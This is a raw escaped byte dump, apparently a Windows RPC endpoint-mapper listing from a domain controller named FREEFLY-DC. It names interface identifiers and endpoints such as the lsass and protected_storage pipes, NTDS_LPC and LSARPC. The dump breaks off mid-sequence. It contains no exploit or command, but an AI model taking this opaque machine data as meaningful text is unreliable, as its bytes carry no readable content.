10 \\x00OLE7F700A20D38041EEBE253CC2C3D8\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\x1c\\xeft\\n\\xa4A\\x06N\\x83\\xae\\xdct\\xfb\\x1c\\xddS\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00IUserProfile2\\x00\\xcc\\xccH\\x00\\x00\\x00H\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x08\\x00senssvc\\x00`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE7F700A20D38041EEBE253CC2C3D8\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00IUserProfile2\\x00\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r>\\x8e\\xb0.\\x9fc\\xbaO\\x97\\xb1\\x14\\xf8x\\x96\\x10v\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE7F700A20D38041EEBE253CC2C3D8\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r>\\x8e\\xb0.\\x9fc\\xbaO\\x97\\xb1\\x14\\xf8x\\x96\\x10v\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00IUserProfile2\\x00\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE7F700A20D38041EEBE253CC2C3D8\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00IUserProfile2\\x00\\xcc\\xccN\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xb5m\\xac\\xc9\\xb7\\x82UN\\xae\\x8a\\xe4d\\xed{Bw\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00IUserProfile2\\x00\\xcc\\xccd\\x00\\x00\\x00d\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rM\\xdds4\\x88.\\x06@\\x9c\\xba\"W\\t\\t\\xdd\\x10\\x05\\x00\\x02\\x00\\x01\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x12\\x00\\\\PIPE\\\\W32TIME_ALT\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00L\\x00\\x00\\x00L\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rM\\xdds4\\x88.\\x06@\\x9c\\xba\"W\\t\\t\\xdd\\x10\\x05\\x00\\x02\\x00\\x01\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0c\\x00W32TIME_ALT\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rM\\xdds4\\x88.\\x06@\\x9c\\xba\"W\\t\\t\\xdd\\x10\\x05\\x00\\x02\\x00\\x01\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-e096b877a0c1c7e4dc\\x00`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rM\\xdds4\\x88.\\x06@\\x9c\\xba\"W\\t\\t\\xdd\\x10\\x05\\x00\\x02\\x00\\x01\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE59206968EBA94EAC82860D7A65BE\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xcf\\x0b\\xa7~\\xafHjO\\x89hjD\\x07T\\xd5\\xfa\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-e096b877a0c1c7e4dc\\x00`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xcf\\x0b\\xa7~\\xafHjO\\x89hjD\\x07T\\xd5\\xfa\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE59206968EBA94EAC82860D7A65BE\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\x82&\\xb9/\\x99e\\xdcB\\xae\\x13\\xbd,\\xa8\\x9b\\xd1\\x1c\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-529ca01a24709db950\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xbf\\x11\\x9d\\x7f\\xb9\\x7fkC\\xa8\\x12\\xb2\\xd5\\x0c]L\\x03\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-529ca01a24709db950\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r%\\x04I\\xdd%SeE\\xb7t~\\'\\xd6\\xc0\\x9c$\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-529ca01a24709db950\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x06\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x1f\\x02\\x00\\xc0\\x05\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccI\\x00\\x00\\x00I\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\t\\x00NTDS_LPC\\x00\\xcc\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLEA42FB87E2EF04FE2895FA42C2387\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x03\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccJ\\x00\\x00\\x00J\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\n\\x00samss lpc\\x00\\xcc\\xccG\\x00\\x00\\x00G\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x07\\x00dsrole\\x00\\xccj\\x00\\x00\\x00j\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x18\\x00\\\\PIPE\\\\protected_storage\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccR\\x00\\x00\\x00R\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x12\\x00protected_storage\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0b\\x00lsasspirpc\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00lsapolicylookup\\x00P\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00LSARPC_ENDPOINT\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00securityevent\\x00\\xcc\\xccF\\x00\\x00\\x00F\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x06\\x00audit\\x00\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-75fac2f88290daf44c\\x00^\\x00\\x00\\x00^\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0c\\x00\\\\pipe\\\\lsass\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x06\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x1f\\x02\\x00\\xc0\\x05\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccI\\x00\\x00\\x00I\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\t\\x00NTDS_LPC\\x00\\xcc\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLEA42FB87E2EF04FE2895FA42C2387\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x03\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccJ\\x00\\x00\\x00J\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\n\\x00samss lpc\\x00\\xcc\\xccG\\x00\\x00\\x00G\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x07\\x00dsrole\\x00\\xccj\\x00\\x00\\x00j\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x18\\x00\\\\PIPE\\\\protected_storage\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccR\\x00\\x00\\x00R\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x12\\x00protected_storage\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0b\\x00lsasspirpc\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00lsapolicylookup\\x00P\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00LSARPC_ENDPOINT\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00securityevent\\x00\\xcc\\xccF\\x00\\x00\\x00F\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x06\\x00audit\\x00\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-75fac2f88290daf44c\\x00^\\x00\\x00\\x00^\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xac\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0c\\x00\\\\pipe\\\\lsass\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x1f\\x02\\x00\\xc0\\x05\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccI\\x00\\x00\\x00I\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\t\\x00NTDS_LPC\\x00\\xcc\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\